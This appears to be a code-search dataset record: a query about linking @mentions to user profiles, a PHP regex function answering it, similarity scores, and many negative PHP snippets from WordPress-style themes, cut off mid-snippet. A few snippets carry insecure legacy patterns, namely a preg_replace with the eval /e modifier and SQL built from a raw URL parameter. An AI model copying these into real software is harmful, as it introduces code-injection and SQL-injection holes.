( $url ) {\n\t\t\t$base_url = Site::get_url( 'habari' );\n\t\t\t\n\t\t\tif ( MultiByte::strpos( $url, $base_url ) !== false ) {\n\t\t\t\t$url = MultiByte::substr( $url, MultiByte::strlen( $base_url ) );\n\t\t\t}\n\t\t\t\n\t\t\treturn $url;\n\t\t\t\n\t\t}", "function acitpo_wp_title($title, $sep) {\n\tglobal $paged, $page;\n\n\tif (is_feed()) {\n\t\treturn $title;\n\t}\n\n\t$title .= get_bloginfo('name');\n\tif (($site_description = get_bloginfo('description', 'display')) && (is_home() || is_front_page())) {\n\t\t\t$title .= \" $sep $site_description\";\n\t}\n\n\tif ($paged >= 2 || $page >= 2) {\n\t\t$title .= \" $sep \" . sprintf(__('Page %s', 'acitpo'), max($paged, $page));\n\t}\n\n\treturn $title;\n}", "function mrl_page_title( $title ) {\r\n global $wp, $wp_query;\r\n $wp->parse_request();\r\n\r\n $title = '';\r\n\r\n if ( get_query_var('my_reading_library_library') )\r\n $title = 'My Library';\r\n\r\n if ( get_query_var('my_reading_library_id') ) {\r\n $book = get_book(intval(get_query_var('my_reading_library_id')));\r\n $title = $book->title . ' by ' . $book->author;\r\n }\r\n\r\n if ( !empty($title) ) {\r\n $title = apply_filters('my_reading_library_page_title', $title);\r\n $separator = apply_filters('my_reading_library_page_title_separator', ' | ');\r\n return $title.$separator;\r\n }\r\n return '';\r\n}", "public function daveyjacobson_customize_partial_blogname() {\n \tbloginfo( 'name' );\n }", "public function get_title() {\n\t\tif ( ! is_null( $this->title ) ) {\n\t\t\treturn $this->title;\n\t\t}\n\n\t\t/**\n\t\t * Allow changing the title.\n\t\t *\n\t\t * @param string $title The page title being put out.\n\t\t */\n\t\t$this->title = $this->do_filter( 'frontend/title', $this->paper->title() );\n\n\t\t// Early Bail!!\n\t\tif ( '' === $this->title ) {\n\t\t\treturn $this->title;\n\t\t}\n\n\t\t// Remove excess whitespace.\n\t\t$this->title = preg_replace( '[\\s\\s+]', ' ', $this->title );\n\n\t\t// Capitalize Titles.\n\t\tif ( Helper::get_settings( 'titles.capitalize_titles' ) ) {\n\t\t\t$this->title = ucwords( $this->title );\n\t\t}\n\n\t\t$this->title = wp_strip_all_tags( stripslashes( $this->title ), true );\n\t\t$this->title = esc_html( $this->title );\n\t\t$this->title = convert_smilies( $this->title );\n\n\t\treturn $this->title;\n\t}", "function howes_wp_title( $title, $sep ) {\n\tglobal $paged, $page;\n\n\tif ( is_feed() )\n\t\treturn $title;\n\n\t// Add the site name.\n\t$title .= get_bloginfo( 'name' );\n\n\t// Add the site description for the home/front page.\n\t$site_description = get_bloginfo( 'description', 'display' );\n\tif ( $site_description && ( is_home() || is_front_page() ) )\n\t\t$title = \"$title $sep $site_description\";\n\n\t// Add a page number if necessary.\n\tif ( $paged >= 2 || $page >= 2 )\n\t\t$title = \"$title $sep \" . sprintf( __( 'Page %s', 'howes' ), max( $paged, $page ) );\n\n\treturn $title;\n}", "function cd_post_slug_remove_short( $post_link, $post, $leavename ) { \r\n if ( 'cd-short' != $post->post_type || 'publish' != $post->post_status ) {\r\n return $post_link;\r\n }\r\n \r\n $post_link = str_replace( '/' . $post->post_type . '/', '/', $post_link );\r\n \r\n return $post_link;\r\n}", "function chat_link_post_processing($title){\n setLocale(LC_TIME, substr(current_language(), 0, 2));\n $title = preg_replace('/TT_(.*)_TT/e', \"userdate(\\\\1)\", $title);\n return mb_convert_encoding($title, 'UTF-8', 'auto');\n}", "function blm_basic_wp_title( $title, $sep ) {\n\tglobal $paged, $page;\n\n\tif ( is_feed() )\n\t\treturn $title;\n\n\t// Add the site name.\n\t$title .= get_bloginfo( 'name' );\n\n\t// Add the site description for the home/front page.\n\t$site_description = get_bloginfo( 'description', 'display' );\n\tif ( $site_description && ( is_home() || is_front_page() ) )\n\t\t$title = \"$title $sep $site_description\";\n\n\t// Add a page number if necessary.\n\tif ( $paged >= 2 || $page >= 2 )\n\t\t$title = \"$title $sep \" . sprintf( __( 'Page %s', 'blm_basic' ), max( $paged, $page ) );\n\n\treturn $title;\n}", "function wpfc_modify_podcast_title ($title) {\n\t$settings = get_option('wpfc_options'); \n\t$podcast_title = esc_html( $settings['title'] );\n\tif ($podcast_title != '')\n\t\t\t$title = $podcast_title;\n\treturn $title;\n}", "public function the_title($post, $total_char = 0){\n\t$title = $this->cut_title($post->post_title, $total_char);\n\techo $this->filters_the_title($title);\n }", "function p2_wp_title( $title, $sep ) {\n\tglobal $page, $paged;\n\n\tif ( is_feed() )\n\t\treturn $title;\n\n\t// Add the blog name\n\t$title .= get_bloginfo( 'name' );\n\n\t// Add the blog description for the home/front page.\n\t$site_description = get_bloginfo( 'description', 'display' );\n\tif ( $site_description && ( is_home() || is_front_page() ) )\n\t\t$title .= \" $sep $site_description\";\n\n\t// Add a page number if necessary:\n\tif ( $paged >= 2 || $page >= 2 )\n\t\t$title .= \" $sep \" . sprintf( __( 'Page %s', 'p2' ), max( $paged, $page ) );\n\n\treturn $title;\n}" ]
[ "0.71881187", "0.7183306", "0.7150599", "0.7020996", "0.6982766", "0.6978226", "0.6971674", "0.6957865", "0.69558614", "0.69352645", "0.69351727", "0.6907891", "0.6895847", "0.6870918", "0.686608", "0.6834759", "0.6777997", "0.67596185", "0.671563", "0.6714414", "0.6711725", "0.66757077", "0.66592246", "0.6626257", "0.6617901", "0.6611886", "0.66088223", "0.65771586", "0.6574789", "0.65523505", "0.6502129", "0.64646745", "0.64634854", "0.6461515", "0.64558214", "0.64438564", "0.64378184", "0.6431295", "0.64164513", "0.6414996", "0.641263", "0.64084166", "0.64082694", "0.63662267", "0.6359423", "0.63487494", "0.63389266", "0.63337576", "0.63275623", "0.63209736", "0.6305341", "0.6295298", "0.6294241", "0.62894386", "0.6286893", "0.62845546", "0.628255", "0.628255", "0.628255", "0.628255", "0.628255", "0.6266959", "0.6259743", "0.62581044", "0.6255344", "0.62445503", "0.62425905", "0.6241959", "0.62314564", "0.62237036", "0.6221744", "0.6218539", "0.6214807", "0.62084466", "0.61959696", "0.61917466", "0.6191115", "0.61878496", "0.6185929", "0.6177694", "0.6176813", "0.61766064", "0.6174451", "0.6173731", "0.61603385", "0.61496824", "0.613797", "0.6128546", "0.61274636", "0.612432", "0.61227095", "0.6122344", "0.6119316", "0.61153066", "0.6112609", "0.61125374", "0.6110549", "0.61060905", "0.6104585", "0.6102595" ]
0.836456
0
create links to user profiles if mentioned in a post or comment
function iu_linkusername($string) { // regex pattern $pattern = '/@([a-zA-Z0-9_]+)/'; // convert string URLs to active links $replace = '<a href="/profile/$1">@$1</a>'; $new_string = preg_replace($pattern, $replace, $string); return $new_string; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function view_profile_link($actions, $user_object) {\n\n\t$actions['view_profile'] = \"<a class='view_profile' href='\" . site_url('author/'.$user_object->data->user_login) . \"'>\" . __( 'View Profile', 'cgc_ub' ) . \"</a>\";\n\treturn $actions;\n\n}", "public function link() {\n return isset($this->_adaptee->user_info['user_username']) ? \"profile.php?user=\".$this->_adaptee->user_info['user_username'] : null;\n }", "function _wp_credits_add_profile_link(&$display_name, $username, $profiles)\n {\n }", "function make_profile_link($name, $id=\"\")\n\t{\n\t\tif ($id > 0)\n\t\t{\n\t\t\treturn \"<a href='{$this->base_url}showuser=$id'>$name</a>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn $name;\n\t\t}\n\t}", "function generate_follow_link() {\n\t\treturn str_replace( 'swfw_username', $this->username, $this->url);\n\t}", "function make_twitlink($email){\r\n //debugbreak();\r\n global $wpdb;\r\n $options = $this->get_options();\r\n $profiletwitter = false;\r\n $dbtwitter = $wpdb->get_var($wpdb->prepare(\"SELECT twitid FROM {$wpdb->prefix}wptwitipid WHERE email = %s\",$email));\r\n // set this->twitter_id\r\n if(isset($options['use_profile']) && $options['use_profile'] == 'on'){\r\n $user = get_user_by_email($email);\r\n $id = $user->ID;\r\n if($options['profile_field']){\r\n $profiletwitter = get_user_meta($id,$options['profile_field'],true);\r\n }\r\n }\r\n // use profile value if set or else use db value \r\n if($profiletwitter){\r\n $this->twitter_id = $profiletwitter;\r\n } else {\r\n $this->twitter_id = $dbtwitter;\r\n }\r\n $this->twitter_id = trim($this->twitter_id);\r\n if(!$this->twitter_id){\r\n return false;\r\n }\r\n // construct link\r\n $pre = $options['pre_link_html'];\r\n $pst = $options['post_link_html']; \r\n $search = '[username]';\r\n $replace = $this->twitter_id;\r\n $anchor = str_replace($search,$replace,$options['anchor_text']);\r\n if($options['clickable']=='yes'){\r\n $nofollow = ' rel=\"nofollow\"';\r\n $target = '';\r\n if($options['dofollow'] == 'on'){\r\n $nofollow = ' rel=\"external\"';\r\n }\r\n if($options['newwindow'] == 'on'){\r\n $target = ' target=\"_blank\"';\r\n }\r\n $class = ' class=\"'.$options['link_class'].'\"';\r\n $link = '<a'.$nofollow.$target.$class.' href=\"http://twitter.com/'.$this->twitter_id.'\">'.$anchor.'</a>';\r\n } else {\r\n $link = $anchor;\r\n }\r\n $link = $pre.$link.$pst;\r\n return $link;\r\n }", "function vcex_get_user_social_links( $user_id = '', $display = 'icons', $attr = '', $before = '', $after = '' ) {\n\tif ( function_exists( 'wpex_get_user_social_links' ) ) {\n\t\treturn wpex_get_user_social_links( $user_id, $display, $attr, $before, $after );\n\t}\n}", "function get_the_author_posts_link()\n {\n }", "function addRedirectorForUsers()\n{\n global $modSettings, $user_profile;\n\n if (empty($modSettings['redirector_enabled']) || empty($user_profile)) {\n return;\n }\n\n foreach (array_keys($user_profile) as $user_id) {\n if (!empty($user_profile[$user_id]['website_url'])) {\n $user_profile[$user_id]['website_url'] = getRedirectorUrl($user_profile[$user_id]['website_url']);\n }\n }\n}", "protected function handleLink() : void // links char with account\n {\n if (!User::$id || empty($this->_get['id']))\n {\n trigger_error('AjaxProfile::handleLink - profileId empty or user not logged in', E_USER_ERROR);\n return;\n }\n\n $uid = User::$id;\n if ($this->_get['user'] && User::isInGroup(U_GROUP_ADMIN | U_GROUP_BUREAU))\n {\n if (!($uid = DB::Aowow()->selectCell('SELECT id FROM ?_account WHERE user = ?', $this->_get['user'])))\n {\n trigger_error('AjaxProfile::handleLink - user \"'.$this->_get['user'].'\" does not exist', E_USER_ERROR);\n return;\n }\n }\n\n if ($this->undo)\n DB::Aowow()->query('DELETE FROM ?_account_profiles WHERE accountId = ?d AND profileId IN (?a)', $uid, $this->_get['id']);\n else\n {\n foreach ($this->_get['id'] as $prId) // only link characters, not custom profiles\n {\n if ($prId = DB::Aowow()->selectCell('SELECT id FROM ?_profiler_profiles WHERE id = ?d AND realm IS NOT NULL', $prId))\n DB::Aowow()->query('INSERT IGNORE INTO ?_account_profiles VALUES (?d, ?d, 0)', $uid, $prId);\n else\n {\n trigger_error('AjaxProfile::handleLink - profile #'.$prId.' is custom or does not exist', E_USER_ERROR);\n return;\n }\n }\n }\n }", "function get_author_posts_url($author_id, $author_nicename = '')\n {\n }", "public function link()\n {\n return get_author_posts_url($this->ID, $this->display_name);\n }", "function Social_Link(&$data,$site,$mode=0,$text='') {\n if (! isset($data[$site]) || strlen($data[$site]) < 5) return ($mode? '' :$site);\n $link = $data[$site];\n if (preg_match(\"/$site/i\",$link)) {\n $follow = ($text? $text . $site :'');\n return \" \" . weblink($link,($mode? ( \"<img src=/images/icons/$site.jpg title='$follow'> $follow\") : $site)) . ($mode?\"<br>\":\"\");\n }\n return \" <a href=http://$site.com/$link>\" . ($mode? ( \"<img src=/images/icons/$site.jpg>\") : $site) . \"</a><br>\";\n}", "protected function prepare_links($user)\n {\n }", "function create_author_list( $role ) {\n\n // list editors first\n $args = array(\n 'role' => $role,\n 'orderby' => 'display_name'\n );\n\n // Create the WP_User_Query object\n $wp_user_query = new WP_User_Query($args);\n\n $author_ids = $wp_user_query->get_results();\n\n foreach($author_ids as $author) :\n\n $curauth = get_userdata($author->ID);\n\n if($curauth->user_login !== 'admin') : // if name == admin don't display\n $user_link = get_author_posts_url($curauth->ID);\n $avatar = 'default'; ?>\n\n\n <div class=\"author\" title=\"<?php echo $curauth->display_name; ?>\">\n <a href=\"\n <?php echo get_author_posts_url( get_the_author_meta( 'ID', $curauth->ID ) ); ?>\n \">\n <?php\n // avatar goes here\n $avatar = get_field('author_photo', 'user_' . $curauth->ID );\n echo '<img src=\"';\n echo $avatar['url'];\n echo '\" />';\n ?>\n <p class=\"name\"><?php echo $curauth->display_name; ?></p>\n <p><?php the_author_meta( 'shortbio', $curauth->ID ); ?></p>\n </a>\n </div>\n\n\n <?php endif;\n endforeach;\n\n}", "function draw_references($text) {\r\n\tpreg_match_all(\"/#(\\\\w+)/\", $text, $channelMatches);\r\n\r\n\tif(!empty($channelMatches)){\r\n\t\t$channelName = $channelMatches[1];\r\n\t\tif($channelName != ''){\r\n\t\t\t$replace1 = preg_replace_callback(\"/#(\\\\w+)/\", \r\n\t\t\t\r\n\t\t\tfunction($matches) {\r\n\t\t\t\tif(channelExists($matches[1])){\r\n\t\t\t\t\treturn '<a href=\"../pages/channel.php?name=' . $matches[1] . '\">' . $matches[1] . '</a>';\r\n\t\t\t\t}\r\n\t\t\t\treturn $matches[0];\r\n\t\t\t}, \r\n\t\t\t$text);\r\n\t\t}\r\n\t}\r\n\r\n\t// References to a user with @\r\n\tif(!isset($replace1)){\r\n\t\tpreg_match(\"/@(\\\\w+)/\", $text, $userMatches);\r\n\t}\r\n\telse{\r\n\t\tpreg_match(\"/@(\\\\w+)/\", $replace1, $userMatches);\r\n\t}\r\n\tif(!empty($userMatches)){\r\n\t\t$userName = $userMatches[1];\r\n\r\n\t\tif($userName != ''){\r\n\t\t\t\r\n\t\t\tif(!isset($replace1)){\r\n\t\t\t\t$finaltext = preg_replace_callback (\"/@(\\\\w+)/\", \r\n\t\t\t\t\r\n\t\t\t\tfunction($matches){\r\n\t\t\t\t\tif(usernameExists($matches[1])){\r\n\t\t\t\t\t\treturn '<a href=\"../pages/profile.php?name=' . $matches[1] . '\">' . $matches[1] . '</a>';\r\n\t\t\t\t\t}\r\n\t\t\t\t\treturn $matches[0];\r\n\t\t\t\t},\r\n\t\t\t\t$text);\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\t$finaltext = preg_replace_callback (\"/@(\\\\w+)/\", \r\n\r\n\t\t\t\tfunction($matches){\r\n\t\t\t\t\tif(usernameExists($matches[1])){\r\n\t\t\t\t\t\treturn '<a href=\"../pages/profile.php?name=' . $matches[1] . '\">' . $matches[1] . '</a>';\r\n\t\t\t\t\t}\r\n\t\t\t\t\treturn $matches[0];\r\n\t\t\t\t},\r\n\t\t\t\t$replace1);\r\n\t\t\t}\r\n\t\t\treturn $finaltext;\r\n\t\t}\r\n\t}\r\n\r\n\tif(!isset($replace1)){\r\n\t\treturn $text;\r\n\t}\r\n\r\n\treturn $replace1;\r\n}", "private function user_profile_href($username) {\n\t\treturn CR . '/' . $username;\n\t}", "public function getProfileLink()\n\t{\n\t\treturn site_url('profile/' . $this->hash);\n\t}", "function get_author_link($display, $author_id, $author_nicename = '')\n {\n }", "public function mentions(){\n\t\t$title = \"mentioning user: @\";\n\t\t$where = \"select m.post_id from mentions m, users u2 where m.user_id = u2.user_id and u2.user_name\";\n\n\t\t#call generic routine for showing a specific list of posts:\n\t\t$this->view_specific($where, $title);\n\t}", "function profileUrl()\r\n {\r\n return \"/user/show/{$this->id}\";\r\n }", "function add_twitlink_to_comment_author_link($link){\r\n //debugbreak();\r\n global $comment;\r\n if($twitter_link = $this->make_twitlink($comment->comment_author_email)){\r\n $link = $link.$twitter_link;\r\n }\r\n return $link;\r\n }", "private function return_user_uri($id) {\r\n return get_author_posts_url($id).\"#account\";\r\n }", "function getUserLink($userid) {\n\t/*$res = mysql_query(\"SELECT username FROM vB_user WHERE userid = '\".$userid.\"'\");\n\n\tif(@mysql_num_rows($res)) {\n\t\t$ds = mysql_fetch_assoc($res);\n\t\t$name = '<a href=\"http://rscoders.org/member.php/'.$userid.'-'.$ds[\"username\"].'\" target=\"_blank\">'.$ds[\"username\"].'</a>';\n\t} else $name = '<a href=\"http://rscoders.org/member.php/1-Contra\" target=\"_blank\">Contra</a>';\n\treturn $name;*/\n\t//Code for names goes here\n\t//see above for example for vbulletin\n\treturn \"Le Namé\";\n}", "function get_comment_author_url_link($link_text = '', $before = '', $after = '', $comment = 0)\n {\n }", "public function addUserLink($link = array()) {\n foreach( $link as $name => $href ) {\n $this->user_links[$name] = $href;\n }\n }", "function getUserlink($id, $name = '')\n{\n\tif(!$name)\n\t\t$name = getUsername($id);\n\n\tif($name)\n\t\treturn makeLink($name, 'a=viewuserdetails&user=' . $id, SECTION_USER);\n\telse\n\t\treturn 'Guest';\n}", "function souvvi_get_author_url(){\n\n if(!get_the_author_meta('user_url')){\n return get_author_posts_url(get_the_author_meta('ID'));\n };\n return get_the_author_meta('user_url', get_the_author_meta('ID') );\n\n }", "function comment_author_url_link($link_text = '', $before = '', $after = '', $comment = 0)\n {\n }", "function atwork_user_relationships_request_relationship_direct_link($variables) {\n $relate_to = $variables['relate_to'];\n $relationship_type = $variables['relationship_type'];\n //safety, revert to a generic link\n if (!isset($relationship_type)) {\n return theme('user_relationships_request_relationship_link', array('relate_to' => $relate_to));\n }\n return l(\n t(\"Follow\", array('%name' => format_username($relate_to)) + user_relationships_type_translations($relationship_type)),\n \"relationship/{$relate_to->uid}/request/{$relationship_type->rtid}\",\n array(\n 'query' => drupal_get_destination(),\n 'html' => TRUE,\n 'attributes' => array('class' => array('user_relationships_popup_link')),\n )\n );\n}", "function twitter_auto_follow(int $uid, object $data)\n{\n\t$addrpattern = '([A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,6})';\n\n\t// Search for user@domain.tld in the name\n\tif (preg_match('#' . $addrpattern . '#', $data->name, $match)) {\n\t\tif (twitter_add_contact($match[1], true, $uid)) {\n\t\t\treturn;\n\t\t}\n\t}\n\n\t// Search for @user@domain.tld in the description\n\tif (preg_match('#@' . $addrpattern . '#', $data->description, $match)) {\n\t\tif (twitter_add_contact($match[1], true, $uid)) {\n\t\t\treturn;\n\t\t}\n\t}\n\n\t// Search for user@domain.tld in the description\n\t// We don't probe here, since this could be a mail address\n\tif (preg_match('#' . $addrpattern . '#', $data->description, $match)) {\n\t\tif (twitter_add_contact($match[1], false, $uid)) {\n\t\t\treturn;\n\t\t}\n\t}\n\n\t// Search for profile links in the description\n\tforeach ($data->entities->description->urls as $url) {\n\t\tif (!empty($url->expanded_url)) {\n\t\t\t// We only probe on Mastodon style URL to reduce the number of unsuccessful probes\n\t\t\ttwitter_add_contact($url->expanded_url, strpos($url->expanded_url, '@'), $uid);\n\t\t}\n\t}\n}", "public function navigation_user(){\r\n $current_user = wp_get_current_user();\r\n if ( $current_user->display_name ) {\r\n $name = $current_user->display_name;\r\n } else {\r\n $name = esc_html__( 'Welcome!', 'woolentor-pro' );\r\n }\r\n $name = apply_filters( 'woolentor_profile_name', $name );\r\n ?>\r\n <div class=\"woolentor-user-area\">\r\n <div class=\"woolentor-user-image\">\r\n <?php echo get_avatar( $current_user->user_email, 125 ); ?>\r\n </div>\r\n <div class=\"woolentor-user-info\">\r\n <span class=\"woolentor-username\"><?php echo esc_attr( $name ); ?></span>\r\n <span class=\"woolentor-logout\"><a href=\"<?php echo esc_url( wp_logout_url( get_permalink() ) ); ?>\"><?php echo esc_html__( 'Logout', 'woolentor-pro' ); ?></a></span>\r\n </div>\r\n </div>\r\n <?php\r\n\r\n }", "public function getProfileLink($user)\n {\n $userName = CFactory::getUser($user['userid'])->getDisplayName();\n\n $link = CRoute::_('index.php?option=com_community&view=profile&userid=' . (int)$user['userid']);\n\n $title = JText::sprintf('SWBIRTHDAY_USER_LINK_TITLE', $userName);\n\n return \"<a href=\\\"{$link}\\\" title=\\\"{$title}\\\" rel=\\\"nofollow\\\">{$userName}</a>\";\n }", "function userLinks() {\n return $this->user_links;\n }", "function get_author_feed_link($author_id, $feed = '')\n {\n }", "function yz_redirect_author_page_to_bp_profile() {\n\n if ( is_author() && ! is_feed() ) {\n\n // Get Author ID.\n $author_id = get_queried_object_id();\n\n // Redirect.\n bp_core_redirect( bp_core_get_user_domain( $author_id ) );\n\n }\n\n}", "function display_user_link($user_id, $name='')\r\n{\r\n\tglobal $_otherusers;\r\n\r\n\tif ($user_id<>0)\r\n\t{\r\n\t\tif ($name=='')\r\n\t\t{\r\n\t\t\t$table_user = Database::get_main_table(TABLE_MAIN_USER);\r\n\t\t\t$sql=\"SELECT * FROM $table_user WHERE user_id='\".Database::escape_string($user_id).\"'\";\r\n\t\t\t$result=api_sql_query($sql,__FILE__,__LINE__);\r\n\t\t\t$row=mysql_fetch_array($result);\r\n\t\t\treturn \"<a href=\\\"../user/userInfo.php?uInfo=\".$row['user_id'].\"\\\">\".$row['firstname'].\" \".$row['lastname'].\"</a>\";\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn \"<a href=\\\"../user/userInfo.php?uInfo=\".$user_id.\"\\\">\".$name.\"</a>\";\r\n\t\t}\r\n\t}\r\n\telse\r\n\t{\r\n\t\treturn $name.' ('.get_lang('Anonymous').')';\r\n\t}\r\n}", "public function profile($username = null) {\n return '<a href=\"'.url('user/'.$this->id.'/'.$this->username).'\" style=\"color:'.$this->group->color.'\">'.($username ?? $this->username).'</a>';\n }", "function mentionBuild($user)\n{\n\tif (!is_array($user) ||\n\t\tempty($user) ||\n\t\tstrlen($user['username']) == 0) {\n\t\treturn false;\n\t}\n\n\tglobal $mybb, $lang;\n\n\tif (!$lang->mention) {\n\t\t$lang->load('mention');\n\t}\n\n\t$username = htmlspecialchars_uni($user['username']);\n\t$title = $lang->sprintf($lang->mention_link_title, $username);\n\tif ($mybb->settings['mention_format_names']) {\n\t\t// set up the user name link so that it displays correctly for the display group of the user\n\t\t$username = format_name($username, $user['usergroup'], $user['displaygroup']);\n\t}\n\t$url = get_profile_link($user['uid']);\n\n\t$target = '';\n\tif ($mybb->settings['mention_open_link_in_new_window']) {\n\t\t$target = ' target=\"_blank\"';\n\t}\n\n\t// the HTML id property is used to store the uid of the mentioned user for MyAlerts (if installed)\n\treturn <<<EOF\n{$mybb->settings['mention_display_symbol']}<a id=\"mention_{$user['uid']}\" href=\"{$url}\" class=\"mentionme_mention\" title=\"{$title}\"{$target}>{$username}</a>\nEOF;\n}", "function the_author_posts_link_css_class($output) {\r\n $user_ID = get_the_author_meta('ID');\r\n $googleplus = get_user_meta($user_ID, 'googleplus', true);\r\n if($googleplus) {\r\n $googleAuthor = '<a href=\"'.$googleplus.'\" rel=\"author\"> </a>';\r\n } else {\r\n $googleAuthor = false;\r\n } \r\n\t$output= preg_replace('#(<a(.*)>(.*)</a>)#U','<a $2 title=\"'.__(\"All posts from\", THEME_NAME).' $3\">$3</a>'.$googleAuthor, $output);\r\n return $output;\r\n}", "function theme_get_the_author_posts_link($author = null) {\n if ( !isset($author) ) {\n global $authordata;\n $author = $authordata;\n }\n if ( !is_object( $author ) ) {\n return false;\n }\n $link = sprintf(\n '<a href=\"%1$s\" title=\"%2$s\" rel=\"author\" class=\"meta author\"><i></i>%3$s</a>',\n get_author_posts_url( $author->ID, $author->user_nicename ),\n esc_attr( sprintf( __( 'Posts by %s' ), get_the_author() ) ), // No further l10n needed, core will take care of this one\n get_the_author()\n );\n return $link;\n}", "function get_the_author_url()\n {\n }", "public function authorLink() { return $this->post->post_author; }", "public function _author_this_post($article_id){\n\t\t$sql = \"select user from article where id='$article_id'\";\n\t\t$data = $this->fetch($sql);\n\t\t$user_id = $data['user'];\n\t\t$sql2 = \"select name, link from admin where id='$user_id'\";\n\t\t$data2 = $this->fetch($sql2);\n\t\treturn \"<a target='_blank' href='$data2[link]'>$data2[name]</a>\";\n\t}", "function pixelgrade_get_author_bio_links( $post_id = null ) {\n\t\t$post = get_post( $post_id );\n\t\t$markup = '';\n\t\tif ( empty( $post ) ) {\n\t\t\treturn $markup;\n\t\t}\n\n\t\t$markup .= \"<span class=\\\"c-author__links\\\">\\n\";\n\n\t\t// Get link to the author archive page\n\t\t$user_posts = get_author_posts_url( get_the_author_meta( 'ID', $post->post_author ) );\n\t\t/* translators: %s: the author name */\n\t\t$markup .= '<a class=\"c-author__social-link c-author__website-link h5\" href=\"' . esc_url( $user_posts ) . '\" rel=\"author\" title=\"' . esc_attr( sprintf( esc_html__( 'View all posts by %s', '__components_txtd' ), get_the_author() ) ) . '\">' . esc_html__( 'All posts', '__components_txtd' ) . '</a>';\n\n\t\tif ( apply_filters( 'pixelgrade_allow_gravatar_author_bio_links', true ) ) {\n\t\t\t$str = wp_remote_fopen( 'https://www.gravatar.com/' . md5( strtolower( trim( get_the_author_meta( 'user_email' ) ) ) ) . '.php' );\n\t\t\t$profile = unserialize( $str );\n\t\t\tif ( is_array( $profile ) && ! empty( $profile['entry'][0]['urls'] ) ) {\n\t\t\t\tforeach ( $profile['entry'][0]['urls'] as $link ) {\n\t\t\t\t\tif ( ! empty( $link['value'] ) && ! empty( esc_url( $link['value'] ) ) && ! empty( $link['title'] ) ) {\n\t\t\t\t\t\t$markup .= '<a class=\"c-author__social-link h5\" href=\"' . esc_url( $link['value'] ) . '\" target=\"_blank\">' . $link['title'] . \"</a>\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Get author's website URL\n\t\t$user_website = get_the_author_meta( 'url', $post->post_author );\n\t\tif ( ! empty( $user_website ) ) {\n\t\t\t$markup .= '<a class=\"c-author__social-link h5\" href=\"' . esc_url( $user_website ) . '\" target=\"_blank\">' . esc_html__( 'Website', '__components_txtd' ) . \"</a>\\n\";\n\t\t}\n\t\t$markup .= \"</span>\\n\";\n\n\t\treturn $markup;\n\t}", "function hc_users($args){\n\t\t$users = hc_get_users($args);\n\t\tif ( is_wp_error($users) ){\n\t\t\t\techo $users->get_error_message();\n\t\t\t\treturn false;\n\t\t}\n\t\tforeach ($users as $key => $user) {\n\t\t\techo '<ul class=\"hc_user_list\">';\n\t\t\techo '<li class=\"hc_user_name\">'.$user->display_name.'</li>';\n\t\t\techo '<li class=\"hc_user_gravatar\">'.$user->gravatar.'</li>';\n\t\t\techo '<ul class=\"hc_user_info\">';\n\t\t\t\tforeach ($user as $field => $value) {\n\t\t\t\t\tif (($field !=' display_name' && $field != 'gravatar') && $value != '') {\n\t\t\t\t\t\tif ($field == 'user_url') {\n\t\t\t\t\t\t\techo '<li><a href=\"'.$value.'\">'.$value.'</a></li>';\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\techo '<li>'.$value.'</li>';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\techo '</ul>';\n\t\t\techo '</ul>';\n\t\t}\n\t}", "function save_extra_user_profile_fields( $user_id ) {\n if ( !current_user_can( 'edit_user', $user_id ) ) { \n return false; \n }\n\n\n $socialLinks=array(\"twitter\" => $_POST['twitter'] , \"facebook\" => $_POST['facebook'],\"instagram\" => $_POST['instagram']);\n\n \n update_user_meta(\n $user_id,\n 'social_links',\n $socialLinks\n );\n}", "function myAccountLink(){\n\tglobal $current_user;\n\tget_currentuserinfo();\n\n\tif ( is_user_logged_in() ) {\n\t\t$link = \"<a href='/my-account'>Logged in as: \" . $current_user->user_firstname . \" \" . $current_user->user_lastname . \"</a>\";\n\t} else {\n\t\t$link = '';\n\t}\n\n\treturn $link;\n}", "public function profile() {\n\t\tif ($this->userInfo['users']['id']) {\n\t\t\t//$user_Array = $this->Session->read(@$userid);\n\t\t\t\n\t\t\tif ($this->params['pass']) {\n\t\t\t\t$paramenter = $this->params['pass'];\n\t\t\t\t$uid = $paramenter[0];\n\t\t\t\t$this->set('userID',$uid);\t\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$uid = $this->userInfo['users']['id'];\n\t\t\t\t$this->set('userID',$uid);\n\t\t\t}\n\t\t}\n\t\tif ($uid) {\n\t\t\t\n\t\t\t\t\t/***********************************Retweeted tweets by you **********/\n\t$retweeted_tweets_byU = ClassRegistry::init('tweets')->find('all',array('fields'=>array('tweets.parent_id,tweets.user_id'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions'=>array('tweets.parent_id !=0 AND tweets.status=2 AND tweets.user_id='.$uid)));\n\t\t$this->set('retweeted_tweets_byU',$retweeted_tweets_byU);\n\n\t\tforeach ($retweeted_tweets_byU as $retweeted_by_U) {\n\t\t\t\n\t\t\t$content_array[] = $retweeted_by_U['tweets']['parent_id'];\n\t\t}\n\t\tif ($content_array) {\n\t\t\t\n\t\t\t$content_IDS = @implode(',',$content_array);\n\t\t}\n\t\tif ($content_IDS) {\n\t\t\t$profile_tweets = ClassRegistry::init('tweets')->find('all', array('fields' => array('\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.tweet,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.photo,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.created,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.modified,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.firstname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 